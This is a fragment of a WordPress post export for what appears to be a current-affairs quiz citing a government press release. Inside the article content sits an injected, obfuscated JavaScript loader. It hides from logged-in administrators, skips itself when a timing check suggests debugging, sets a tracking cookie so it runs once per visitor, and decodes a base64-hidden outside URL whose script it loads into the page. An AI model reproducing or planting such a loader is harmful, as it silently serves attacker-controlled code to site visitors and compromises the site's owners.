wp-block-paragraph\"><strong>Source:\u00a0<\/strong><a href=\"https:\/\/pib.gov.in\/PressReleasePage.aspx?PRID=2125467\" target=\"_blank\" rel=\"noopener\"><strong>Press Release: Press Information Bureau<\/strong><\/a><strong>\u00a0<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements: 1. 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